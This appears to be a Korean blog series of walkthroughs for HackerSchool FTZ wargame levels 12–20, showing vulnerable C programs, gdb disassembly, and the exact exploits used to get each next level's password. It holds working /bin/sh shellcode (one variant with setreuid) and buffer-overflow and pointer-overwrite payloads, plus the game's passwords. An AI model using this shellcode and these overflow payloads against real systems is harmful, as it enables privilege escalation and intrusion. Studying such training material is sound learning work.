728x90

level20은 해설하려면 너무 길어진다. 다른 해설을 참고하는게 좋겠다.

아래의 링크의 설명이 매우 상세하다. 여기 참고하는 게 가장 좋아 보인다.

https://orange-makiyato.tistory.com/9

 

해커스쿨 FTZ level20 (HackerSchool) 풀이

힌트를 보자 마지막 uid로 바꾸는 setreuid 함수가 있고 얼마나 많이 입력하든 fgets 함수가 79바이트까지만 받게되어있어 버퍼오버플로우는 불가능하다. 대신에 printf 함수에 인자로 bleh 변수가 그대

orange-makiyato.tistory.com

 

ps) 질문이 있으면 답변은 제가 대신해드릴 수 있습니다.

728x90

'FTZ' 카테고리의 다른 글

level19  (0) 2023.01.19
level18  (0) 2023.01.19
level17  (0) 2023.01.19
level16  (0) 2023.01.19
level15  (0) 2023.01.19
728x90
main()
{ char buf[20];
  gets(buf);
  printf("%s\n",buf);
}

입력을 받아서 출력하는 코드다. bof에 취약한 gets 함수를 사용하고 있다. 다만 이전의 문제들과 다른 점은 setreuid 함수가 없다는 것이다. ftz의 my-pass 함수를 사용하려면 ruid와 euid가 다음 레벨의 uid로 되어야 한다. 그러기 위해선 기존에 사용해 오던 쉘 코드가 아닌 setreuid 함수가 포함된 쉘 코드를 사용해야 한다. 검색을 통해 찾아서 환경변수로 등록했다. 마찬가지로 NOP을 의미하는 \x90은 여유 있게 넣어준다.

[level19@ftz tmp]$ export sh=`python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

아래는 환경 변수로 등록한 쉘 코드의 주소를 출력하는 소스 코드다. 컴파일하여 주솟값을 구한다.

#include <stdio.h>
int main(){
	printf("%p\n",getenv("sh"));
}

gdb로 buf의 주솟값을 파악한다. ebp-40에 위치한다.

[level19@ftz tmp]$ gdb attackme -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048440 <main+0>:	push   ebp
0x08048441 <main+1>:	mov    ebp,esp
0x08048443 <main+3>:	sub    esp,0x28
0x08048446 <main+6>:	sub    esp,0xc
0x08048449 <main+9>:	lea    eax,[ebp-40]  //buf 주소 ebp-40
0x0804844c <main+12>:	push   eax
0x0804844d <main+13>:	call   0x80482f4 <gets>
0x08048452 <main+18>:	add    esp,0x10
0x08048455 <main+21>:	sub    esp,0x8
0x08048458 <main+24>:	lea    eax,[ebp-40]
0x0804845b <main+27>:	push   eax
0x0804845c <main+28>:	push   0x80484d8
0x08048461 <main+33>:	call   0x8048324 <printf>
0x08048466 <main+38>:	add    esp,0x10
0x08048469 <main+41>:	leave  
0x0804846a <main+42>:	ret    
0x0804846b <main+43>:	nop

40 bytes + sfp(4 bytes)=44 bytes를 임의의 값으로 채우고 다음 4 bytes인 retn 주솟값이 저장되는 위치에 쉘 코드의 주소를 삽입한다.

[level19@ftz tmp]$ (python -c 'print "A"*44+"\x58\xfe\xff\xbf"';cat)|../attackme
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAX?
my-pass
TERM environment variable not set.

Level20 Password is "we are just regular guys".

이미 이전 단계들에서 많이 해오던 방식인데 쉘 코드만 바꼈다. 명령어의 문법은 아래의 글에서 설명하였다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

728x90

'FTZ' 카테고리의 다른 글

level20  (0) 2023.01.20
level18  (0) 2023.01.19
level17  (0) 2023.01.19
level16  (0) 2023.01.19
level15  (0) 2023.01.19
728x90
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
  char string[100];
  int check;
  int x = 0;
  int count = 0;
  fd_set fds;
  printf("Enter your command: ");
  fflush(stdout);
  while(1)
    {
      if(count >= 100)
        printf("what are you trying to do?\n");
      if(check == 0xdeadbeef)
        shellout();
      else
        {
          FD_ZERO(&fds);
          FD_SET(STDIN_FILENO,&fds);
 
          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
            {
              if(FD_ISSET(fileno(stdin),&fds))
                {
                  read(fileno(stdin),&x,1);
                  switch(x)
                    {
                      case '\r':
                      case '\n':
                        printf("\a");
                        break;
                      case 0x08:
                        count--;
                        printf("\b \b");
                        break;
                      default:
                        string[count] = x;
                        count++;
                        break;
                    }
                }
            }
        }
    }
}
 
void shellout(void)
{
  setreuid(3099,3099);
  execl("/bin/sh","sh",NULL);
}

갑자기 코드가 길어졌는데 별 거 없다. 그냥 내가 입력한 값들이 x에 1byte씩 저장되고 x값에 따라 실행되는 게 달라진다.

그리고 check가  0xdeadbeef면 shellout 함수를 실행할 수 있다.

attackme 실행파일을 level18의 tmp 디렉터리 내부로 복사한 후 gdb를 실행한다.

Dump of assembler code for function main:
0x08048550 <main+0>:	push   ebp
0x08048551 <main+1>:	mov    ebp,esp
0x08048553 <main+3>:	sub    esp,0x100
0x08048559 <main+9>:	push   edi
0x0804855a <main+10>:	push   esi
0x0804855b <main+11>:	push   ebx
0x0804855c <main+12>:	mov    DWORD PTR [ebp-108],0x0  //0을 대입하는 것을 보고 변수 x의 주소임을 확신
0x08048563 <main+19>:	mov    DWORD PTR [ebp-112],0x0  //0을 대입하는 것을 보고 count의 주소임을 확신
0x0804856a <main+26>:	push   0x8048800
0x080485ab <main+91>:	cmp    DWORD PTR [ebp-104],0xdeadbeef  //0xdeadbeef와 비교하기에 check의 주소 확신
0x080485b2 <main+98>:	jne    0x80485c0 <main+112>
0x080485b4 <main+100>:	call   0x8048780 <shellout>​
//switch의 default 부분
0x08048743 <main+499>:	lea    eax,[ebp-100]  //string임을 확신
0x08048746 <main+502>:	mov    DWORD PTR [ebp-252],eax  //string의 주솟값이 ebp-252에 저장
0x0804874c <main+508>:	mov    edx,DWORD PTR [ebp-112]  //count 값이 최종적으로 edx에 저장
0x0804874f <main+511>:	mov    cl,BYTE PTR [ebp-108]  //x 값을 cl에 저장
0x08048752 <main+514>:	mov    BYTE PTR [ebp-253],cl  // c1(x값)의 값을 ebp-253에 저장
0x08048758 <main+520>:	mov    al,BYTE PTR [ebp-253]  //x 값이 최종적으로 al에 저장
0x0804875e <main+526>:	mov    ecx,DWORD PTR [ebp-252]  //string의 주솟값이 ecx에 저장
0x08048764 <main+532>:	mov    BYTE PTR [edx+ecx],al  //string[count]=x
0x08048767 <main+535>:	inc    DWORD PTR [ebp-112]  //x++
0x0804876a <main+538>:	jmp    0x8048770 <main+544>
0x0804876c <main+540>:	lea    esi,[esi*1]
0x08048770 <main+544>:	jmp    0x8048591 <main+65>
0x08048775 <main+549>:	lea    esp,[ebp-268]
0x0804877b <main+555>:	pop    ebx
0x0804877c <main+556>:	pop    esi
0x0804877d <main+557>:	pop    edi
0x0804877e <main+558>:	leave  
0x0804877f <main+559>:	ret

스택의 구조는 다음과 같다.

ebp-112 count
ebp-108 x
ebp-104 check
ebp-100 string

check에 0xdeadbeef를 대입해야 한다. 소스코드를 보면 x 값이 8인 경우 count가 1만큼 감소한다. 그리고 0xa, 0xd, 8이 아닌 경우는 string주소+count 위치에 x를 대입한다.

그렇다면 현재 string의 위치에서 4만큼 감소하면 string의 주소(ebp-100) - 4 = ebp-104가 되어 check에 도달할 것이고 이 상태에서 0xdeadbeef를 저장한다면 문제가 풀릴 것이다.

[level18@ftz tmp]$ (python -c 'print "\x08"*4+"\xef\xbe\xad\xde"';cat)|../attackme
Enter your command: my-pass

Level19 Password is "swimming in pink".

참고로 \x8은 문법 에러고, 그냥 8은 38로 인식된다. 문자 8에 해당하는 아스키코드가 38이기 때문이다. 반드시 \x08로 입력해야 한다.

명령어들이 이해가 안 되면 level11과 level12의 글을 참고하길 바란다. 같은 형식의 명령어를 계속 사용 중이다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

 

728x90

'FTZ' 카테고리의 다른 글

level20  (0) 2023.01.20
level19  (0) 2023.01.19
level17  (0) 2023.01.19
level16  (0) 2023.01.19
level15  (0) 2023.01.19
728x90
#include <stdio.h>
 
void printit() {
  printf("Hello there!\n");
}
 
main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  setreuid(3098,3098);
  call();
}

이번엔 쉘 코드를 환경 변수로 등록하여 call 함수 실행 시 쉘 코드를 호출하도록 해야겠다. 그러기 위해선 call 값에 쉘 코드의 주소값을 저장해야 한다. 그리고 앞의 문제들에선 설명하는 것을 깜빡했는데 fgets 함수가 48 bytes까지만 입력받기 때문에 retn 주소를 덮어 씌울 순 없다. 이 문제도 마찬가지로 ebp-56에 buf가 위치하기 때문에 48 bytes를 입력해서는 retn에 도달할 수 없다.

(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080484a8 <main+0>:	push   ebp
0x080484a9 <main+1>:	mov    ebp,esp
0x080484ab <main+3>:	sub    esp,0x38
0x080484ae <main+6>:	mov    DWORD PTR [ebp-16],0x8048490  //call 주솟값 ebp-16
0x080484b5 <main+13>:	sub    esp,0x4
0x080484b8 <main+16>:	push   ds:0x804967c
0x080484be <main+22>:	push   0x30
0x080484c0 <main+24>:	lea    eax,[ebp-56]  //buf 주솟값 ebp-56
0x080484c3 <main+27>:	push   eax
0x080484c4 <main+28>:	call   0x8048350 <fgets>
0x080484c9 <main+33>:	add    esp,0x10
0x080484cc <main+36>:	sub    esp,0x8
0x080484cf <main+39>:	push   0xc1a
0x080484d4 <main+44>:	push   0xc1a
0x080484d9 <main+49>:	call   0x8048380 <setreuid>
0x080484de <main+54>:	add    esp,0x10
0x080484e1 <main+57>:	mov    eax,DWORD PTR [ebp-16]
0x080484e4 <main+60>:	call   eax
0x080484e6 <main+62>:	leave  
0x080484e7 <main+63>:	ret    
0x080484e8 <main+64>:	nop

쉘 코드를 환경 변수로 등록하고 환경 변수의 주솟값을 알아낸다.

export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
#include <stdio.h>
int main(){
	printf("%p\n",getenv("sh"));
}
[level17@ftz tmp]$ gcc getenv.c -o getenv
[level17@ftz tmp]$ ./getenv
0xbffffe69

ebp-56부터 40 bytes를 A로 채우고 ebp-16(call 주소)부터 4 bytes를 0xbffffe69(쉘 코드 주소)로 채운다.

[level17@ftz tmp]$ (python -c 'print "A"*40+"\x69\xfe\xff\xbf"';cat)|../attackme
my-pass
TERM environment variable not set.

Level18 Password is "why did you do it".

명령어들이 이해가 안간다면 level11과 level12의 글을 참고하길 바란다. 같은 형식의 명령어를 계속 사용 중이다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

 

728x90

'FTZ' 카테고리의 다른 글

level19  (0) 2023.01.19
level18  (0) 2023.01.19
level16  (0) 2023.01.19
level15  (0) 2023.01.19
level14  (0) 2023.01.19
728x90
#include <stdio.h>
 
void shell() {
  setreuid(3097,3097);
  system("/bin/sh");
}
 
void printit() {
  printf("Hello there!\n");
}
 
main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  call();
}

fgets 함수로 입력하여 call 변수 저장 위치에 shell 함수의 주소를 저장한다. 그러면 call() 결과 shell 함수가 실행될 것이다.

attackme 실행파일을 현재 디렉터리의 tmp 폴더 아래로 복사한다.

[level16@ftz tmp]$ gdb attackme -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048518 <main+0>:	push   ebp
0x08048519 <main+1>:	mov    ebp,esp
0x0804851b <main+3>:	sub    esp,0x38
0x0804851e <main+6>:	mov    DWORD PTR [ebp-16],0x8048500  //call 주솟값 ebp-16
0x08048525 <main+13>:	sub    esp,0x4
0x08048528 <main+16>:	push   ds:0x80496e8
0x0804852e <main+22>:	push   0x30
0x08048530 <main+24>:	lea    eax,[ebp-56]  //buf 주솟값 ebp-56
0x08048533 <main+27>:	push   eax
0x08048534 <main+28>:	call   0x8048384 <fgets>
0x08048539 <main+33>:	add    esp,0x10
0x0804853c <main+36>:	mov    eax,DWORD PTR [ebp-16]
0x0804853f <main+39>:	call   eax
0x08048541 <main+41>:	leave  
0x08048542 <main+42>:	ret    
0x08048543 <main+43>:	nop
(gdb) disas shell
Dump of assembler code for function shell:
0x080484d0 <shell+0>:	push   ebp
0x080484d1 <shell+1>:	mov    ebp,esp
0x080484d3 <shell+3>:	sub    esp,0x8

shell 함수의 주소값은 0x080484d0 임을 알 수 있다.

ebp-16 위치에 0x080484d0을 대입하자.

[level16@ftz tmp]$ (python -c 'print "A"*40+"\xd0\x84\x04\x08"';cat)|../attackme
my-pass

Level17 Password is "king poetic".

위의 명령이 이해가 안되면 다음 글을 참고하길 바란다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

 

728x90

'FTZ' 카테고리의 다른 글

level18  (0) 2023.01.19
level17  (0) 2023.01.19
level15  (0) 2023.01.19
level14  (0) 2023.01.19
level13  (0) 2023.01.19
728x90
#include <stdio.h>
 
main()
{ int crap;
  int *check;
  char buf[20];
  fgets(buf,45,stdin);
  if (*check==0xdeadbeef)
   {
     setreuid(3096,3096);
     system("/bin/sh");
   }
}

level14와의 유일한 차이는 check가 int형 포인터 변수가 된 것이다.

(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>:	push   ebp
0x08048491 <main+1>:	mov    ebp,esp
0x08048493 <main+3>:	sub    esp,0x38
0x08048496 <main+6>:	sub    esp,0x4
0x08048499 <main+9>:	push   ds:0x8049664
0x0804849f <main+15>:	push   0x2d
0x080484a1 <main+17>:	lea    eax,[ebp-56]  //buf 주솟값 ebp-56
0x080484a4 <main+20>:	push   eax
0x080484a5 <main+21>:	call   0x8048360 <fgets>
0x080484aa <main+26>:	add    esp,0x10
0x080484ad <main+29>:	mov    eax,DWORD PTR [ebp-16]  //check값 ebp-16에 존재. 즉, check 주솟값 ebp-16
0x080484b0 <main+32>:	cmp    DWORD PTR [eax],0xdeadbeef  //*check 포인터 연산
0x080484b6 <main+38>:	jne    0x80484dd <main+77>
0x080484b8 <main+40>:	sub    esp,0x8
0x080484bb <main+43>:	push   0xc18
0x080484c0 <main+48>:	push   0xc18
0x080484c5 <main+53>:	call   0x8048380 <setreuid>
0x080484ca <main+58>:	add    esp,0x10
0x080484cd <main+61>:	sub    esp,0xc
0x080484d0 <main+64>:	push   0x8048548
0x080484d5 <main+69>:	call   0x8048340 <system>
0x080484da <main+74>:	add    esp,0x10
0x080484dd <main+77>:	leave

check 값이 저장되는 위치에 0xdeadbeef의 주솟값을 저장하면 포인터 연산(*)으로 접근 시 0xdeadbeef에 접근하게 될 것이다. 그럼 if문이 참이 되어 ruid와 euid가 level16이 되고 /bin/sh를 실행할 수 있다. 이때 my-pass를 입력하면 level16의 비밀번호가 나온다.

(gdb) x/40x main
0x8048490 <main>:	0x83e58955	0xec8338ec	0x6435ff04	0x6a080496
0x80484a0 <main+16>:	0xc8458d2d	0xfeb6e850	0xc483ffff	0xf0458b10
0x80484b0 <main+32>:	0xbeef3881	0x2575dead	0x6808ec83	0x00000c18
0x80484c0 <main+48>:	0x000c1868	0xfeb6e800	0xc483ffff	0x0cec8310
0x80484d0 <main+64>:	0x04854868	0xfe66e808	0xc483ffff	0x90c3c910

위의 메모리 내용을 보니 0x80483b2에 0xdeadbeef가 존재함을 알 수 있다.

[level15@ftz tmp]$ (python -c 'print "A"*40+"\xb2\x84\x04\x08"';cat)|../attackme
my-pass

Level16 Password is "about to cause mass".

위의 명령어가 이해가 안되면 다음 글을 참고하길 바란다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

 

728x90

'FTZ' 카테고리의 다른 글

level17  (0) 2023.01.19
level16  (0) 2023.01.19
level14  (0) 2023.01.19
level13  (0) 2023.01.19
level12  (0) 2023.01.19
728x90
레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.

#include <stdio.h>
#include <unistd.h>
 
main()
{ int crap;
  int check;
  char buf[20];
  fgets(buf,45,stdin);
  if (check==0xdeadbeef)
   {
     setreuid(3095,3095);
     system("/bin/sh");
   }
}
(gdb) disas main
Dump of assembler code for function main:
0x080483b8 <main+0>:	push   ebp
0x080483b9 <main+1>:	mov    ebp,esp
0x080483bb <main+3>:	sub    esp,0x38
0x080483be <main+6>:	and    esp,0xfffffff0
0x080483c1 <main+9>:	mov    eax,0x0
0x080483c6 <main+14>:	sub    esp,eax
0x080483c8 <main+16>:	sub    esp,0x4
0x080483cb <main+19>:	push   ds:0x80495d0
0x080483d1 <main+25>:	push   0x2d
0x080483d3 <main+27>:	lea    eax,[ebp-56]  //buf 주솟값 ebp-56
0x080483d6 <main+30>:	push   eax
0x080483d7 <main+31>:	call   0x80482d8 <fgets>
0x080483dc <main+36>:	add    esp,0x10
0x080483df <main+39>:	cmp    DWORD PTR [ebp-16],0xdeadbeef  //check의 주솟값 ebp-16
0x080483e6 <main+46>:	jne    0x804840d <main+85>
0x080483e8 <main+48>:	sub    esp,0x8
0x080483eb <main+51>:	push   0xc17
0x080483f0 <main+56>:	push   0xc17
0x080483f5 <main+61>:	call   0x80482f8 <setreuid>
0x080483fa <main+66>:	add    esp,0x10
0x080483fd <main+69>:	sub    esp,0xc
0x08048400 <main+72>:	push   0x80484bc
0x08048405 <main+77>:	call   0x80482c8 <system>

buf가 ebp-56의 주솟값에서 시작된다. 그리고 ebp-16에 변수 check가 존재하는데 0xdeadbeef와 같으면 level15의 권한으로 /bin/sh을 실행할 수 있다. 그리고나서 my-pass를 입력한다면 level15의 비밀번호가 나타날 것이다.

[level14@ftz tmp]$ (python -c 'print "A"*40+"\xef\xbe\xad\xde"';cat)|../attackme
my-pass

Level15 Password is "guess what".

명령어에 사용된 문법에 대해 좀 더 알고 싶다면 level11과 level12의 해설을 참고 바란다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

728x90

'FTZ' 카테고리의 다른 글

level16  (0) 2023.01.19
level15  (0) 2023.01.19
level13  (0) 2023.01.19
level12  (0) 2023.01.19
level11  (0) 2023.01.09
728x90
#include <stdlib.h> 

main(int argc, char *argv[])
{
   long i=0x1234567;
   char buf[1024];

   setreuid( 3094, 3094 );
   if(argc > 1)
   strcpy(buf,argv[1]);

   if(i != 0x1234567) {
   printf(" Warnning: Buffer Overflow !!! \n");
   kill(0,11);
   }
}

변수 i를 이용해 버퍼오버플로우를 감지하고 있다.

이번엔 스택에 값을 덮어씌울 때 i 부분은 유지한 채로 값을 덮어씌워야 한다.

export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

쉘 코드를 환경 변수로 등록한다. level11과 level12에서 문법들을 다뤘다. attackme의 소스코드에 setreuid가 있기에 setreuid가 없는 쉘 코드를 썼다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

#include <stdio.h>
int main(){
	printf("%p\n",getenv("sh"));
}

등록한 환경 변수의 주솟값을 알아내는 코드다. 컴파일한다.

(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080483c8 <main+0>:	push   ebp
0x080483c9 <main+1>:	mov    ebp,esp
0x080483cb <main+3>:	sub    esp,0x418  //스택에 1048bytes 공간 할당
0x080483d1 <main+9>:	and    esp,0xfffffff0
0x080483d4 <main+12>:	mov    eax,0x0
0x080483d9 <main+17>:	sub    esp,eax
0x080483db <main+19>:	mov    DWORD PTR [ebp-12],0x1234567  //변수 i의 주솟값 ebp-12
0x080483e2 <main+26>:	sub    esp,0x8
0x080483e5 <main+29>:	push   0xc16
0x080483ea <main+34>:	push   0xc16
0x080483ef <main+39>:	call   0x80482e8 <setreuid>
0x080483f4 <main+44>:	add    esp,0x10
0x080483f7 <main+47>:	cmp    DWORD PTR [ebp+8],0x1
0x080483fb <main+51>:	jle    0x8048417 <main+79>
0x080483fd <main+53>:	sub    esp,0x8
0x08048400 <main+56>:	mov    eax,DWORD PTR [ebp+12]
0x08048403 <main+59>:	add    eax,0x4
0x08048406 <main+62>:	push   DWORD PTR [eax]
0x08048408 <main+64>:	lea    eax,[ebp-1048]  //배열 buf의 주솟값 ebp-1048
0x0804840e <main+70>:	push   eax
0x0804840f <main+71>:	call   0x8048308 <strcpy>
0x08048414 <main+76>:	add    esp,0x10
0x08048417 <main+79>:	cmp    DWORD PTR [ebp-12],0x1234567  //변수 i와 0x1234567비교

attackme의 스택을 살펴보았다.

ebp위로 1048 bytes의 공간을 임의의 문자로 채우는데 단, ebp-12의 위치에는 0x1234567이 있어야한다.

1048bytes 채우고 나서 sfp가 저장된 4 bytes 공간을 또 채우고 마지막으로 retn 주소에 쉘 코드의 주소를 넣는다.

[level13@ftz tmp]$ ./getenv
0xbffffe69
[level13@ftz tmp]$ ../attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x69\xfe\xff\xbf"'`
sh-2.05b$ my-pass
TERM environment variable not set.

Level14 Password is "what that nigga want?".
728x90

'FTZ' 카테고리의 다른 글

level15  (0) 2023.01.19
level14  (0) 2023.01.19
level12  (0) 2023.01.19
level11  (0) 2023.01.09
level10  (0) 2023.01.08
728x90
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main( void )
{
	char str[256];

 	setreuid( 3093, 3093 );
	printf( "문장을 입력하세요.\n" );
	gets( str );
	printf( "%s\n", str );
}
[level12@ftz tmp]$ gdb attackme -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>:	push   ebp
0x08048471 <main+1>:	mov    ebp,esp
0x08048473 <main+3>:	sub    esp,0x108
0x08048479 <main+9>:	sub    esp,0x8
0x0804847c <main+12>:	push   0xc15
0x08048481 <main+17>:	push   0xc15
0x08048486 <main+22>:	call   0x804835c <setreuid>
0x0804848b <main+27>:	add    esp,0x10
0x0804848e <main+30>:	sub    esp,0xc
0x08048491 <main+33>:	push   0x8048538
0x08048496 <main+38>:	call   0x804834c <printf>
0x0804849b <main+43>:	add    esp,0x10
0x0804849e <main+46>:	sub    esp,0xc
0x080484a1 <main+49>:	lea    eax,[ebp-264]
0x080484a7 <main+55>:	push   eax
0x080484a8 <main+56>:	call   0x804831c <gets>
0x080484ad <main+61>:	add    esp,0x10
0x080484b0 <main+64>:	sub    esp,0x8
0x080484b3 <main+67>:	lea    eax,[ebp-264]
0x080484b9 <main+73>:	push   eax
0x080484ba <main+74>:	push   0x804854c
0x080484bf <main+79>:	call   0x804834c <printf>
0x080484c4 <main+84>:	add    esp,0x10

(gdb를 이용해 main 함수의 소스코드를 보려면 level12의 홈 디렉터리의 tmp 폴더로 attackme 실행파일을 복사한다. 그렇지 않으면 attackme엔 setuid가 걸려있어 어셈블리 코드를 볼 수 없다.)

gets 함수의 인자엔 str이 전달된다.

어셈블리 코드를 보면 str의 주소가 ebp-264인 것을 알 수 있다. 즉, str 배열은 스택의 [ebp-264]부터 256 bytes가 저장되어 있다.

그리고 264-256=8bytes는 dummy일 것이다. dummy아래론 sfp, retn주소가 존재할 것이다. 따라서 우리가 입력한 값이 str을 넘어 sfp(4 bytes)까지 아무 값으로 채우고 마지막 retn 주소에 환경변수의 주소를 저장한다.

export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

먼저 환경 변수를 등록한다. \x90은 NOP을 의미하는데 CPU는 NOP을 만나면 무시하고 NOP이 아닌 값이 나타날 때까지 이동한다. \x90을 넣지 않으면 segmentation fault가 뜬다. 안 넣을 때와 비교해 보면 차이는 없던데 왜 안 넣으면 안 되는지는 모르겠다. 문법 관련해서는 다음의 링크를 참조 바란다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

vi 에디터를 이용해서 c 소스파일을 만들어서 컴파일한다.

#include <stdio.h>
int main(){
	printf("%p\n",getenv("sh"));
}

실행하면 환경 변수의 주소값이 나온다. 나의 경우는 0xbffffe69이다.

[level12@ftz tmp]$ ./getenv
0xbffffe69
[level12@ftz tmp]$ (python -c 'print "A"*268+"\x69\xfe\xff\xbf"';cat)|../attackme
문장을 입력하세요.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAi?
my-pass
TERM environment variable not set.

Level13 Password is "have no clue".

